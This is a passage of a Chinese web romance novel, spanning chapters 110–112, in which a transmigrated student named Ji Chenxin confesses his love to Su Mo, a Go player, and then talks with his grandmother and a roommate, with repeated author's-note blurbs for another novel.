“你现在可能还不明白,等你缘分到了,就知道了,几十亿人里,两个人能相知相爱,比中彩票都难。” “因此,我们不想因为世俗的眼光,让自己,或者爱人承受难以释怀的折磨。” 胡浪说这些时,黎上金紧紧扣住他的手,“很高兴遇见你。” “我也是。”胡浪突然在他脸上亲了一下,“不好意思了纪辰新,情难自控,这份狗粮,你就忍耐一下吧。” 纪辰新却久久陷入了沉思,犹豫就有可能错过吗? 遇见就算是幸运吗? 是啊,他一个来自现实世界,早该死掉的人,能遇到苏陌,已经算是亿万分之一的几率了。 何德何能,他们俩的精神世界还如此契合。 所以,自己到底在犹豫什么? 苏陌朝自己走了九十九步,难道自己一步都踏不出去吗? 人生匆匆,不过朝暮与春秋,能抓住的爱就别放手,哪有那么多的来日方长啊。 更不该让苏陌所倾注的真心被辜负! 试想一下,如果明天就是世界末日,自己还要站在原地等候吗? 不,他一定会坚定地向苏陌跑去,告诉他,我们一起! 死也要死在一起。 就算任务没完成,就算全世界只剩下他们俩,他们也要一直一直在一起。 从此天上人间,黄泉碧落。 所以,让一切的犹豫都见鬼去吧!—— 作者有话说:哈哈,终于想通了,下一章就让他们确认关系,啦啦啦啦啦[猫头] 预收《假少爷滚回乡下后全村躺赢》大家收藏一下吧[抱抱] 文案如下: 朝闻重活一世,再逢真少爷被找回的场景,这次他不哭不闹,麻利的滚回了老家。 落后的松风村,这日,迎来了一位星眸皓齿,光彩照人的后生。 后生大包小包,还带来了一车的物资,里面是各种学习用品。 朝闻被大大小小的孩子们围了一圈又一圈,他们用亮晶晶的眼神望着他,“哥哥,你长的真好看,你是明星吗?” 朝闻浅笑,“我不是明星,这里是我的家。” 从此,朝闻在松风村定居了下来。 他闲时承包了村里的洋桔梗、小雏菊、向日葵等易活鲜切花,做成盲盒,对接城市的白领社群和花店,带动村民参与种植和打包。 他盘活了村里没住人的老宅,改造成乡野风格的民宿,配套柴火灶做饭、自采自摘的模式,吸引周末短途旅游的家庭和人员。 他依托村里的农田、山林、溪流等开设农夫研学堂,吸引城市家长带孩子体验农耕和自然教学。 他甚至还联合村里的竹编、草编、刺绣匠人,打造乡村非遗文创集市,实现线上线下同步销售手工制品。 朝闻的到来,使得松风村脱胎换骨,慢慢从贫困走上了富裕的道路,乡亲们都异常感激他,把他当成了救世主般的存在。 哪家哪户有点什么事,都喜欢找他主持公道! 然而,没人注意的角落,一位锐目似狼,鹰隼试翼的少年正默默注视着一切。 他早在,朝闻回来村子的第一天,就盯上了。 之后,他总会适时的出现在朝闻需要帮忙的时候,帮他解决一切麻烦与棘手的事! 众人都跟他说,离他远点,他是不详之人。 但朝闻记得他,靳骁,他不是不详之人。 他是唯一一个寒门翘楚,泥里飞凰,靠捡废纸,建立了全球领先的包装纸生产基地,成为了一代首富。 第110章 夜晚吃完饭, 纪辰新就跟奶奶说了,准备明天回校。 李春兰正在琢磨下午签的合同,闻言, 顿时诧异道,“你不是多请了两天的假吗?” 纪辰新抿了抿唇,“那个学校有点事要提前处理。” “这样啊行吧,读书要紧,奶奶现在就去给你收拾行李!” “不用了奶奶,我待会儿自己收, 而且, 我买的是明天下午1点的机票, 不用这么急。” 纪辰新一边说着,一边接过她手里的合同,“你瞎琢磨什么呢, 看得懂?” 李春兰脸上藏不住的笑, “没琢磨什么, 我就是高兴。” “小新啊, 咱们终于有属于自己的房子了。” “这么多年, 终于有了” 话刚落,老太太的眼眶就盈满了泪, “终于有了, 终于不用寄人篱下, 终于不用到处搬来搬去了” 说罢,她擦了擦眼角,“你看我,这么高兴的事,居然还哭。” 纪辰新伸手握住了她粗粝且布满皱纹的手, “哭就哭嘛,又没事,这是幸福的眼泪。” “奶奶,孙儿答应你,咱们以后绝对不止这一套房子,我会给你买更大、更好、更漂亮的。” “从今以后,我们再也不用羡慕别人了。” “哎哟,买那么多干嘛,有一套住的就行了,多了也住不完。”老太太立马制止了他,“有钱就存起来,万一有个病,什么灾的,咱也不用找别人借,看人脸色了。” 纪辰新点了点头,“知道啦,你这次就在家留意一下装修队,这房子有些地方还是得刷一下的,然后软装什么的,我来看,我来联系。” “咱们以后不能再对付着过了,得住好的,用好的!不然孙儿挣这么多钱是干嘛的。” “当然是用来以后娶媳妇啊,奶奶也不知道还能不能活到你娶媳妇的那一天。” 老太太笑的眼角褶子都出来了,“人老喽,不经用了。” 纪辰新沉默了好一会儿才道,“如果孙儿不打算结婚,奶奶还会支持吗?” “孙儿不想” “为什么不结婚?” 老太太不解地看着他,“我看你啊,就是小,不懂,等你以后长大了,就会吵着闹着要娶媳妇了。” “不会,奶奶。”纪辰新郑重地看着她,“不会娶媳妇了。” 老太太神色担忧,“乖孙儿,你怎么了,是不是遇上什么事了?” “没事,我只是” “唉,不说这个了,你就当我还小吧,我才不要娶媳妇。”纪辰新无奈地笑了笑。 李春兰却犹疑地看着他,“乖孙啊,奶奶想你结婚,只是希望你以后身边能有个人关心,照顾你,两个人相互扶持,能有个家的港湾。” “奶奶毕竟不能陪你一辈子,以后你在这世上无亲无故,多孤单啊。” “放心吧,奶奶,我有朋友,有很多很多的朋友。”纪辰新安慰她。 老太太摇了摇头,“朋友都会成家,关系也会慢慢变得疏远,还是得有个自己的家。” 纪辰新尴尬地扯了下嘴角,他哪里不知道啊?! 只是他要如何去说,他不会跟女生在一起了。 他要成立的是两个男生的家。 李春兰看着孙儿一副欲言又止的模样,感慨道,“不管怎样,你得找个自己喜欢的,奶奶希望你能幸福。” “找个自己喜欢的?要是找不到呢?”纪辰新打趣道。 “找不到,咱就慢慢找!” “那要是我找的,你不喜欢呢?” “你喜欢就行,又不是奶奶跟她过日子,你们过的好,我就好。” “哈哈,行啊,奶奶,我记住你说的话了,你可千万不能反悔噢,不能说话不算数哦。” “说什么呢,奶奶什么时候说话不算数了!” * 翌日,上午11点不到,纪辰新就提着行李,去了机场。 之后,飞机经过几个小时的飞行,最终在夜幕下降落。 出机场时,纪辰新直接拦了辆计程车,前往目的地。 他手里握着手机,苏陌还在问他什么时候回来。 然而,纪辰新回复他的是,还要过两天。 对面肉眼可见的失落,【为什么不让我去江洲,我也可以帮你们搬家的。】 纪辰新嘴角挂着惬意的笑,【你的行为,你的眼神,都很容易出卖你的,万一被我奶奶看出点什么你说我要怎么办?】 【不会的,我隐藏的很好。】 【保管她看不出来。】 纪辰新轻笑,【好了,不跟你说了,我要忙了。】 【忙什么?不是都已经忙完了吗,纪辰新,你知道我有多想你吗?】 纪辰新看到这话时,心跳莫名加速,【我们现在还没在一起呢,不要总是对我说情话!】 【哪有,这不是情话,这是我的肺腑之言。】 这小子,撩人的功夫,日渐增长,纪辰新险些招架不住。 俩人聊天,经常扯到天南地北,然后这家伙,时不时就会冒一句情话出来,让气氛瞬间变的暧昧。 他好像总在试探些什么! 其实,在这种氛围下,纪辰新有时候也会昏了头,回应他一两句。 就比如现在,【那多想到底是有多想呢?】 对面沉吟了一会儿,才回复道,【这是个程度副词,说不清道不明,只知道手机亮一下,我就下意识以为是你。】 【做任何事拐个弯都能想到你,就连发呆,脑子里也都是你的影子。】 纪辰新指尖刚触到亮屏的手机,视线扫过那两行字,瞳孔倏地一缩,握着手机的手指猛的收紧。 他沉默了快一分钟,对面又发来了消息。 【我刚刚数了数,在这一分钟里,你的名字,你的面容在我脑子里跑了有八十趟。】 纪辰新咬着唇,耳尖先一步漫上薄红,指尖无意识地捻着衣角,赶紧将手机熄灭了,深呼吸了好几次,心脏还是怦怦怦地越跳越快。 这丫的待会儿看你还有没有这个胆子! “是这个小区吗?” 冷不丁地,司机已经抵达了目的地,开口问了这么一句话。 纪辰新敛了敛心神,往窗外一看,“对,就是这。” “好的,那我靠边停车。” 纪辰新轻抚了一下心脏,然后提着行李下了车。 现在是晚上九点左右,他站在小区门口,与苏陌只有近在咫尺的距离了。 他知道苏陌住在3栋,25楼。 他去过的。 而且,他还有电梯卡,以及门锁密码。 深吸了好几口气,纪辰新才拿出电梯卡,跟保安确认信息登记。 随后,他提着行李,按照记忆来到了3栋楼下。 此时,手机嗡嗡地,再次收到了苏陌发来的消息。 【对不起,我不该与你说这些的,是不是让你不舒服了?】 纪辰新盯着这条消息,随后将手机切换到摄像功能,对着楼栋拍了张照。 照片转了好一会儿才发送成功。 漆黑的夜晚,楼栋光线不明,影影绰绰,带着点不真实感。 纪辰新编辑着文字,想说什么,结果删删减减后,又重新编辑。 半分钟后,楼栋大门的电梯“叮”地一声,出来一个人。 纪辰新下意识抬眼,却见少年身着月白衬衣,衣角随着走动,微微掀起,勾勒出挺拔清瘦的线条,窄腰被衣料轻轻收住,衬得身形愈发利落挺拔。 苏陌竟连外衣都没来得及穿,就冲下了楼。 他目光定定地朝纪辰新走来,最后在一步之遥停下。 “你怎么” “早说今天回来,我就去接你啊!” 少年语气关怀又急切。 他上上下下打量着面前的人儿,极其顺手地接过了他手中的行李,“吃饭了没,累不累,冷不冷?” “走,先上楼,我给你接风洗尘。” 纪辰新静静望着他,脸上的骨相在月色里分明得惊人,下颌线流畅又带着点少年气的棱角,鼻梁高挺,连投在地面上的影子,都带着几分让人心尖发颤的清俊。 苏陌的目光胶着在他脸上,喉结无声地滚了一下,“怎么了?” 纪辰新轻轻朝他靠近了半步,呼吸灼热,语气意味不明,“我就是来看看你到底有多想我的。” 苏陌的脚步在原地碾了又碾,只差半步就能挨到面前的人儿,月白衬衣的袖口被指尖攥出浅浅的褶皱。 他的脊背绷得笔直,明明呼吸都乱了节拍,却硬是压下了前倾的念头。 “你想怎么看?” 他目光里的热意,一寸寸漫过纪辰新的眉眼,险些克制不住。 纪辰新盯着他的眼睛,挑衅道,“苏陌,敢吻我吗?” 少年瞳孔骤缩,胸腔里的心跳擂鼓似的撞着肋骨,几乎是一瞬间,他所有的理智被崩的粉碎。 苏陌猛地上前,一把攥住纪辰新的手腕往自己怀里带,另一只手扣住后颈,低头狠狠吻了上去。 唇齿相贴的刹那,带着不容拒绝的强势。 他的呼吸烫的灼人,急切得像是要将这些日子压抑的所有情绪,都融进这个失控的吻里。 指尖因攥的太紧都泛了白,少年依旧不管不顾,就像要将人嵌进骨血里一般,凶狠至极。 纪辰新显然是被他这副模样惊住了,瞳孔微微放大,连呼吸都滞了半拍。 他感受着嘴上的力道,脸颊以骇人的速度漫上绯红,而心里又乱得像被投入石子的湖面,惊涛骇浪里,透着一丝难以名状的甜。 不知吻了多久,俩人的唇瓣还贴着。 纪辰新被他灼热的呼吸烫的发麻,渐渐地,他感受到后颈的力道慢慢松了下来,抬眼望去时,却见苏陌眼底翻涌的汹涌情绪还未褪去。 纪辰新指尖微微发颤,轻轻推了他一下。 苏陌像是才反应过来自己做了什么般,喉结滚了滚,嗓音沙哑,带了丝紧张,“纪辰新,是你让我吻你的。”—— 作者有话说:啧啧啧,亲了,嘿嘿[让我康康] 预收《假少爷滚回乡下后全村躺赢》大家收藏一下吧[撒花][撒花][撒花] 文案如下: 朝闻重活一世,再逢真少爷被找回的场景,这次他不哭不闹,麻利的滚回了老家。 落后的松风村,这日,迎来了一位星眸皓齿,光彩照人的后生。 后生大包小包,还带来了一车的物资,里面是各种学习用品。 朝闻被大大小小的孩子们围了一圈又一圈,他们用亮晶晶的眼神望着他,“哥哥,你长的真好看,你是明星吗?” 朝闻浅笑,“我不是明星,这里是我的家。” 从此,朝闻在松风村定居了下来。 他闲时承包了村里的洋桔梗、小雏菊、向日葵等易活鲜切花,做成盲盒,对接城市的白领社群和花店,带动村民参与种植和打包。 他盘活了村里没住人的老宅,改造成乡野风格的民宿,配套柴火灶做饭、自采自摘的模式,吸引周末短途旅游的家庭和人员。 他依托村里的农田、山林、溪流等开设农夫研学堂,吸引城市家长带孩子体验农耕和自然教学。 他甚至还联合村里的竹编、草编、刺绣匠人,打造乡村非遗文创集市,实现线上线下同步销售手工制品。 朝闻的到来,使得松风村脱胎换骨,慢慢从贫困走上了富裕的道路,乡亲们都异常感激他,把他当成了救世主般的存在。 哪家哪户有点什么事,都喜欢找他主持公道! 然而,没人注意的角落,一位锐目似狼,鹰隼试翼的少年正默默注视着一切。 他早在,朝闻回来村子的第一天,就盯上了。 之后,他总会适时的出现在朝闻需要帮忙的时候,帮他解决一切麻烦与棘手的事! 众人都跟他说,离他远点,他是不详之人。 但朝闻记得他,靳骁,他不是不详之人。 他是唯一一个寒门翘楚,泥里飞凰,靠捡废纸,建立了全球领先的包装纸生产基地,成为了一代首富。《 》 110-113 第111章 “傻瓜。” 纪辰新看着苏陌眼中那抹无措, 忍不住低低笑出声。 他的声音里带着明显的纵然与温柔,“还不明白吗?” 苏陌站在原地,指尖轻轻抚上了纪辰新的脸颊, 碰到那柔软的触感,他指尖略微缩了下,眸子里是清亮的惶恐,明明鼓足勇气吻了他,却又怕是自己太过冒昧,唐突了。 “纪辰新, 我不明白。” “我要你仔仔细细, 敞敞亮亮地说给我听, 我才明白。” 纪辰新对上他的视线时,瞬间就读懂了那里面翻涌的不确定。 少年眼底盛着碎光,似欢喜、似迷茫, 还带着浓重的不安全感。 他就要一个答案, 一个真真切切, 实实在在的答案。 纪辰新看到他瞳孔里倒映着自己的面容, 好像还隐藏着什么? 那是一丝害怕! 他好像知道了, 他在怕什么。 苏陌怕的是,刚刚那片刻的亲近都是镜花水月, 怕他流露出的笑意是假意戏耍, 怕所有的心动都不过是他一个人的独角戏。 少年因着心中的困惑, 用力攥住了纪辰新的手腕,声音发颤,带着不容置疑的执拗,“纪辰新,别让我猜好吗?” “我要你明明白白的告诉我, 你对我,到底是不是一样的心思。” 他眼底的倔强和脆弱都缠在了一起,盯着纪辰新时,仿若要看穿他的心。 纪辰新静静与他对视,刚被吻过的温度还残留在嘴角,他下意识舔了下唇,而后,上前一步,拥住了他。 当掌心贴上少年的脊背时,指尖先一步触到清晰的骨骼轮廓,隔着薄薄的衣料,纪辰新能感受到他的清瘦。 他将手臂收紧,下巴抵在了他的颈窝,温热的呼吸扫过苏陌泛红的耳廓。 “说你是傻瓜,还真是傻瓜啊。” 他贴着他的耳朵,声音低得像浸了密的私语,“苏陌,我的心意和你一模一样,这一点无需置疑。” “我现在就明明白白地告诉你,我喜欢你,像你喜欢我那样的喜欢你。” 这话就像一颗定时炸弹,瞬间便将苏陌的心湖炸的惊涛骇浪,他僵在了原地,连呼吸都忘了。 短暂的怔忪过后,巨大的狂喜席卷了他。 苏陌猛地回抱住了纪辰新,力道大得几乎要将他勒的喘不过气来。 只见他清瘦的手比死死箍着他的腰,脸颊也埋进了他的肩窝,滚烫的眼泪缓缓滑落。 “真的吗,纪辰新?” “我等这天,太久” “太久了。” 他的声音哽咽着,“我原以为这一辈子都不会” “还好,还好” 他一遍一遍地重复,“还好还好” “还好上天垂怜!” 纪辰新紧紧拥着他,另一只手轻轻拍打着他的后背,“才不是上天垂怜,我从来不信什么上天,我只信我自己。” “好,那我感谢你感谢你,愿意为我垂怜。” 少年幸福地笑着,这一刻千金难换。 * 纪辰新当晚还是回了宿舍,苏陌难舍难分,几乎要黏在他身上。 “这么晚回去,打扰室友不好吧?” “哪有很晚,才十一点,都没熄灯呢。” 纪辰新虽然也很想和他继续待在一起,但俩人在一起就忍不住贴贴,真的很怕失控,做出什么事来。 “我专门给你准备了一间房,结果你一次都没来住过。” 苏陌语气幽怨,眼神却温柔地看着他。 “哪没有,住过一次的,只是那次你被你爷爷叫回去了。”纪辰新反驳道。 “好了,就送到这里吧,我回去了。” 苏陌一把抓住他的手,“不行,还不想让你走。” 此刻宿舍门口,虽然没有什么人进出了,但纪辰新还是怕被人看到。 “哎呀,你注意影响,等下被人发现了。” 苏陌拉着他的手不放,“我都不怕,你怕什么?” “我们现在是情侣了,你情我愿的事,又不碍着别人什么。” 纪辰新被他说的脸颊一热,“苏陌,你能不能低调点,我可不想明天在论坛上看到我们俩的新闻。” “给我一点隐私空间,我要回去了。” 他话都说到这个份上了,苏陌轻笑一声,宠溺道,“好好好,不为难你,那我以后配合你做地下情侣?” “咱们谈一场地下恋!” 他的声音柔软又坚定,“别这样看着我,我没关系的。” 纪辰新望着他,心脏倏地抽痛了一下。 苏陌对他的爱好像从来都是这样默默无闻的,无私且赤诚。 他愿意牺牲正大光明的资格,不站在光里炫耀,只求能陪在他身边,守着他就好。 你怎么这么好啊,苏陌! 纪辰新心底的愧疚都要溢出来了,一股勇气蓦的冲了出来。 “谈什么地下恋,老子行的正,坐的端,就要谈阳光下的恋爱。” 纪辰新回握了一下他的手,“不要什么都为我着想,多想想你自己。” 少年深深望着他,依旧宠溺,“好,都听你的。” * 回到宿舍的纪辰新,带着一整个的好心情,他嘴角的笑就没下来过。 室友看到他回来还很诧异。 “咦,你不是还有两天才回吗?” “怎么就” 纪辰新将行李一放,笑着道,“有点事,就提前回来了。” “对了,还有热水吗,我去洗个澡。” “有有有,快去,还有半小时就停水了。” 就这样,纪辰新又带着好心情去了洗手间。 在他走后,侯杨和张景龙不由对视了一眼,随后俩人都从对方的眼中看出了点不同寻常的东西来。 “你说纪辰新这是怎么了?” “好像从来没见他这么开心过” “是的,他之前打比赛赢了,都没这么开心!” “好奇怪啊,整个人容光焕发,透着一股幸福的味道。” “不对,我看啊,是恋爱的酸臭味!” “哇,不会真谈恋爱了吧。” “我看有可能,等下他出来,问问。” 一直在床上且拉着帘子的苏衍也被俩人的话吸引了,他放下了手中的手机,轻轻掀开了一点床帘。 很开心吗? 幸福的模样? 谈恋爱了? 可惜,他刚刚都没看到。 于是,纪辰新这个澡洗了快二十分钟,外面的人就等了有二十分钟。 三人心照不宣,不约而同地等着纪辰新出来的动静。 纪辰新出来时,还在擦头上的水,他整个人春光明媚,精气神饱满,完全没有长途跋涉回来的辛苦。 苏衍掀开了床帘,坐在床上,看的分明。 侯杨和张景龙已经抑制不住八卦之心了。 “纪辰新,你有什么喜事要分享吗?” “啊?” 纪辰新突然被提问,眼珠子下意识转了转,“喜事?能有什么喜事?” “没有吗?” “看你回来这么高兴,还以为你” “快说,你是不是谈恋爱了?” 纪辰新整个人惊呆了,“有这么明显吗?” “哇,还真是啊!” “谁啊,谁啊,是哪个系的美女,有照片吗?” 纪辰新听到美女两字,眉头微动,不由抿了下唇,“暂时保密吧,等以后时机合适了,再告诉你们。” 刚刚还说要谈阳光下的恋爱,此刻却还是选择了隐瞒。 因为他猛然意识到,直接说出来,可能会对苏陌造成无法预测的影响,还可能让他受到流言蜚语的侵害。 “啊,藏这么深,要等什么时候啊,现在时机还不成熟?” 纪辰新放下了毛巾,回答道,“因为我和他不是世俗意义上的恋人,我怕你们一时之间接受不了。” “不是世俗意义上的恋人?” “果然高深,难道是什么禁忌之恋?” 纪辰新挑了下眉,“可以这么理解吧,不说了,我要睡了。” “欸,说清楚啊。” “真不说了,马上就12点,熄灯了。” 纪辰新说完这句话就爬上了床,随后放下了床帘。 床上,他拿起手机,一开屏就看到了苏陌给他发来的信息。 【我已经安全到家了。】 【你洗完澡了吗?】 【怎么办,才这么一会儿,我就开始想你了。】 纪辰新弯着眉眼回复道,【洗完了,准备睡了,晚安。】 结果,对面秒回。 【我也洗完了,你躺床上了吗?】 【明天早上,我同你一起去上课吧。】 纪辰新回复:【已经躺着了。】 【你同我去上课?干嘛啊。】 苏陌依旧回复的很快,【我明天上午没课,想和你呆在一起,只能这样了。】 纪辰新不由想起刚刚室友问他的话,一时纠结了起来,【苏陌,如果我们俩的关系公之于众,你怕不怕?】 苏陌斟酌了一会儿,【你怕对吗?】 【别怕,我没有什么好在意的,唯独在意的,也只有你,我怕你被流言蜚语所中伤。】 纪辰新打字的手指微顿,苏陌竟然跟他想到一块儿去了。 他们俩都害怕对方因自己受到伤害。 【别想太多了,我们就这样相处,如果哪天实在瞒不住了,再坦然面对。】 【放心,我会挡在你身前,将一切都推到我身上就行了。】 纪辰新被他气笑了,【我用你挡啊,老子还没怕过谁呢。】 【对了,你的升段赛快开始了吧,你准备的怎么样了?】 苏陌认真道:【还有几天,此次比赛时长7-10天,每天会有1-2轮的比赛。】 【所以啊,我们俩相处的时间只有几天了,之后我就要去参加比赛了。】 这是纪辰新一直所期待的,任务能不能完成就在这场比赛之后了,所以重要程度可想而知。 系统沉默寡言这么多天,终于也是上线了,【宿主,男主拿到九段是必然的,重要的是后面的剧情能不能突破桎梏,继续走下去。】 纪辰新输入道,【苏陌,你觉得我对你的影响】 不对,不能这么说,删掉。 【苏陌,我】 系统看不过去了:【宿主,你对他的影响,肯定很大啊,他都被你掰弯了。】 纪辰新无语:【】 【话不能这么说吧,那我我不也被掰弯了吗,真是的!】 系统啧了一声,【现在就看,你对原著小说,整个世界的影响,能否超过苏陌这个男主了。】 【我们的任务,成败在此一举!】—— 作者有话说:小天使们~请收藏一下《假少爷滚回乡下后全村躺赢》这本预收吧! 第112章 翌日, 纪辰新早早地就起了床。 因为他记得昨晚苏陌说要同他一起上课来着,所以破天荒地在另外三位室友还没醒来时,他就已经洗漱好, 出了门。 当然,比他起的更早的是苏陌,这家伙六点半就在宿舍楼下等着了,而纪辰新是将近七点才出来。 早上,晨雾还没散干净,宿舍楼的香樟树下, 苏陌一手提着牛奶, 一手握着手机, 正视线忐忑地盯着宿舍门。 他的心脏,就像被棋盘上的劫争攥住,每一声门轴响动都带着落子般的重音。 纪辰新乍一出来, 就看到了香樟下的碎影, 俩人的目光撞了个正着。 他的脚步微顿, 然后故作镇定地走了过去。 “早。” 两个声音同时响起, 又同时顿住。 苏陌立即将手机揣进了兜里, 看着他垂在身侧的手,想去牵, 手指蜷了蜷, 又顾及着青天白日的 “这个是进口牛奶, 给你的,对身体好。” “以后我每天都给你带。” 他将牛奶递了过去,眉眼里藏着一丝欣喜与紧张。 空气里飘着露水的凉和香樟的甜,纪辰新轻轻接过包装袋,“你什么时候来的, 吃过早餐了吗?” “没有,和你一起吃。”苏陌盯着他的目光烫人,纪辰新与他对视一眼,就移开了视线。 “噢,那走吧。” 俩人就像两颗刚落下的棋子,在棋盘的边缘怯生生地挨在一起。 “去哪吃啊。” 并肩走时,肩膀不经意擦过,俩人都略微的僵了一下,却又心照不宣地想要靠近。 “去吃牛肉面吧,校外很火的那一家。” 苏陌回应道,随后小指轻轻碰了下纪辰新的手背,喉结滚了又滚,“时间还早,不用着急,我们可以慢慢走。” 纪辰新感受着苏陌的小指勾着自己,手腕不由晃了晃,就像落子前的轻颤,带着满盘的新奇与雀跃。 “有人来了,很容易被发现的。” 苏陌略微收敛了一下,叹气道,“真难办,要不我们去找个没人的地方?” 纪辰新扑哧一下,笑出声,“谁要跟你去没人的地方啊,我饿了,要吃东西。” 风卷着香樟叶飘过,暮春的太阳,刚刚抬头,俩人的影子在地上挨的极近,肩并肩,几乎要融成一个。 可并肩走着的少年,连指尖相触的勇气,都藏在了四下无人的心跳里。 吃完早餐,纪辰新就带着他来到了自己学院所在的楼栋。 还有二十多分钟才上课,此刻教学楼里几乎没什么人。 空荡荡的环境里,只有阳光透过高窗的尘埃在跳舞,苏陌牵着他的手,脚步放的极轻,手掌间都泌出了一丝汗。 直到来到最角落里的那间教室,门被苏陌轻轻带上,落锁的“咔哒”声在寂静里炸开,惊得俩人都同时摒住了呼吸。 苏陌顺势将纪辰新抵在了门后,少年的后背撞在了冰凉的木质门上,却因为身前的热度,连指尖都烫了起来。 纪辰新的眼睫颤的厉害,像振翅欲飞的蝶,下一秒却被苏陌伸手按住了后颈,这个动作一点也不强势,相反还很温柔。 少年微微低头,唇瓣擦过纪辰新的唇角,轻得像是落子前的试探。 “可以吗?” 他问,声音低的像耳语,带着克制的沙哑。 纪辰新没说话,只是伸手圈住了他的腰,额头抵着额头,鼻尖蹭着鼻尖,呼吸交缠在一起,带着独有的、淡淡的皂角香。 随后,他将脸埋进苏陌的颈窝,带来少年一阵战栗的痒。 苏陌耳尖红的滴血,低头在他发顶印下一个吻,然后是额头、眉眼、最后停在了唇角,轻轻辗转。 这个吻,比昨天柔和多了,一点也不凶狠。 纪辰新脸颊红的像熟透的苹果,连耳根都泛着粉。 苏陌的双手捧着他的脸,舌尖轻轻地在他口中探了了探,纪辰新下意识瑟缩了一下,却被他反手扣住,加深了这个吻。 窗外的阳光在他们交叠的身影上投下光斑,就像棋盘上落定的两颗子,带着隐秘的欢喜,以及不可告人的甜。 * 这几天,俩人几乎天天黏在了一起,就连上课,也都是互相串课。 侯杨和张景龙一连感叹俩人的关系之好,只有苏衍略略察觉出了一丝异样。 苏陌,他这个同父异母的哥哥,他是在了解不过的。 冷漠、高傲、对什么都不屑一顾。 就算是关系再好的朋友,也不可能做到现在这样,有求必应,就差将纪辰新的话奉为圣旨了。 而纪辰新,前不久才承认谈恋爱,还是一个禁忌恋,结果隔天就看到苏陌与他形影不离,这不免就有些令人怀疑了。 终于,在苏陌参赛的前一天,纪辰新送别他之后,苏衍也按耐不住了。 当晚,纪辰新心情不错地回到宿舍,却被苏衍邀请去外面聊一聊。 看着他极其认真且严肃的态度,纪辰新挑了下眉,倒也没拒绝。 “去哪?” “操场吧,边走边聊。” 校园里的路灯,有些老旧了,灯杆锈着暗褐色的纹,昏黄的光像揉碎的蛋黄,晕开一圈暖融融的雾。 光粒浮在晚风中,把香樟树的影子筛在地上,织成疏密不一的棋格。 俩人走在灯光下,影子被拉的老长。 苏衍率先开口,“纪辰新,你和苏陌很不对劲。” 纪辰新先是默了一瞬,然后才道,“哪里不对劲了?” “哪里都不对劲,早在上次你们俩比赛时,我就发觉了。”苏衍实话实说道。 纪辰新也不解释,“你找我就为了说这个?” “还是说,你认为这个事能威胁到我,还是苏陌?” 闻言,苏衍狠狠蹙了下眉头,“我以为我们已经是朋友,没有这么多揣测和针锋相对了。” “我从来没有这么想过,纪辰新,你还是把我想的那么坏” 飞虫扑向了路灯的灯芯,撞出一瞬的亮,随即又沉回朦胧的暖。 纪辰新深吸一口气,“是吗,我只是在反击我感受到的恶意。” 苏衍偏头看了他一眼,“我没有。” “你和他在一起了对吗?” 总算是将这句话问出口了,苏衍盯着纪辰新的神色,仔仔细细地就想看个究竟。 纪辰新没什么好瞒着的,坦然道,“对,我们在一起了。” 苏衍心里虽早有这个猜测,但眼中难免闪过错愕,语无伦次道,“你苏陌他爷爷他肯定” “这就不由你操心了,你认为你很了解你爷爷吗?”纪辰新反将他一军。 “我早就见过你爷爷了,他既不反对,也不支持,随我们。” “不,应该这么说,他还是很看好我们的。” 苏衍只觉得荒唐,不可思议道,“怎么可能,苏陌作为家里的继承人,爷爷他怎么肯。” 远处的路灯漏过几缕昏黄,俩人终于来到了操场,风卷着草屑掠过足球场,草尖的露水泛着冷光。 暗红的跑道上,有刻意散步的情侣,往最偏僻的角落走。 也有热爱运动的少男少女们,一直在围着操场跑步。 月亮洒下一层薄纱似的清辉,将路上的人影都叠成了模糊的一团。 纪辰新嘴角轻扯,“不是还有你吗?” “没了苏陌,你也是继承人啊。” 纪辰新语气略嘲,“苏衍,你既看轻了你爷爷,也看轻了你自己。” “比起继承家产,苏陌更想走的还是自己的路。” “这一点,你爷爷一直都知道。” “他阻拦不了,也无法阻拦!” “而你,是他最后的底牌” 风从脖颈钻进来,吹的苏衍后颈发寒,他怔怔站在原地,唇瓣微张,“什么意思,我爷爷到底跟你说了什么?” 他想起从小到大爷爷对自己的严苛,以及见到他时的冷脸,始终不愿相信,这老头子会对自己动一丝恻隐之心。 “没有告知的义务。” “想知道什么,你就自己去问他。” 纪辰新欠揍般瞧着他,感叹了一句,“就是可惜了,居然留了这么多好东西给你,眼红啊!” 苏衍瞳孔微颤,诧异像潮水般漫过四肢百骸,紧跟着的是密密麻麻的酸涩,还有一种说不清道不明的复杂情绪。 纪辰新继续道,“一点都不比苏陌少,每一份都攒着呢。” 他的话,就像被打乱的棋局,黑白交错,乱了苏衍所有的心神。 他忽然想起小时候,第一次去爷爷家,自己摔了一跤,膝盖都摔破了,坐在地上哭,结果爷爷只是冷声叫他起来,没有一丝怜悯。 然而没多久,保姆就端来了点心,还是他最爱吃的那个口味。 后面才听管家提起,都是爷爷吩咐的,在他看不见的地方。 但他当时不信,不信这个老头子能有这么好心的一面! 凡此种种,像火山喷发一样冒了出来他后知后觉 原来他所渴求的感情,一直都在,只是他从未发现! “苏衍,你若是还有心,就远离你爸妈,好好孝敬你爷爷。” “毕竟,你爷爷防的从来都不是你,而是他们!” “他为你考虑的从来都不比苏陌少。” 纪辰新觉得自己言尽于此,毕竟都和苏陌在一起了,少不了也要管教一下这个弟弟。 若是他犯蠢,自己自然不会手下留情。 但倘若他能听劝,那就皆大欢喜了。 如果受了欺负,自己肯定还要护上一护的,就当全了苏瀚阳的这最后一根独苗—— 作者有话说:预收《假少爷滚回乡下后全村躺赢》大家收藏一下吧[抱抱][抱抱][抱抱] 文案如下: 朝闻重活一世,再逢真少爷被找回的场景,这次他不哭不闹,麻利的滚回了老家。 落后的松风村,这日,迎来了一位星眸皓齿,光彩照人的后生。 后生大包小包,还带来了一车的物资,里面是各种学习用品。 朝闻被大大小小的孩子们围了一圈又一圈,他们用亮晶晶的眼神望着他,“哥哥,你长的真好看,你是明星吗?” 朝闻浅笑,“我不是明星,这里是我的家。” 从此,朝闻在松风村定居了下来。 他闲时承包了村里的洋桔梗、小雏菊、向日葵等易活鲜切花,做成盲盒,对接城市的白领社群和花店,带动村民参与种植和打包。 他盘活了村里没住人的老宅,改造成乡野风格的民宿,配套柴火灶做饭、自采自摘的模式,吸引周末短途旅游的家庭和人员。 他依托村里的农田、山林、溪流等开设农夫研学堂,吸引城市家长带孩子体验农耕和自然教学。 他甚至还联合村里的竹编、草编、刺绣匠人,打造乡村非遗文创集市,实现线上线下同步销售手工制品。 朝闻的到来,使得松风村脱胎换骨,慢慢从贫困走上了富裕的道路,乡亲们都异常感激他,把他当成了救世主般的存在。 哪家哪户有点什么事,都喜欢找他主持公道! 然而,没人注意的角落,一位锐目似狼,鹰隼试翼的少年正默默注视着一切。 